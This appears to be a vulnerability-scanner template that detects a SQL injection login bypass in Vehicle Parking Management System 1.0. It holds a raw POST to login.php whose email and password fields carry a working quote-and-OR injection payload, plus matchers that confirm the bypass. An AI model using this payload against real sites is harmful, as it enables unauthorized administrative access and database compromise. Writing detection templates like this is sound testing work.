42 lines
1.3 KiB
YAML
42 lines
1.3 KiB
YAML
id: vpms-auth-bypass
|
|
|
|
info:
|
|
name: Vehicle Parking Management System 1.0 - SQL Injection
|
|
author: dwisiswant0
|
|
severity: critical
|
|
description: Vehicle Parking Management System 1.0 contains a SQL injection vulnerability via the password parameter. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
|
|
reference:
|
|
- https://www.exploit-db.com/exploits/48877
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 10.0
|
|
cwe-id: CWE-89
|
|
tags: auth-bypass,edb
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Referer: {{BaseURL}}/login.php
|
|
Cookie: PHPSESSID=q4efk7p0vo1866rwdxzq8aeam8
|
|
|
|
email=%27%3D%27%27or%27%40email.com&password=%27%3D%27%27or%27&btn_login=1
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- "LAGOS PARKER"
|
|
- "Login Successfully"
|
|
- "location.href = 'index.php';"
|
|
condition: and
|
|
part: body
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# Enhanced by mp on 2022/09/28
|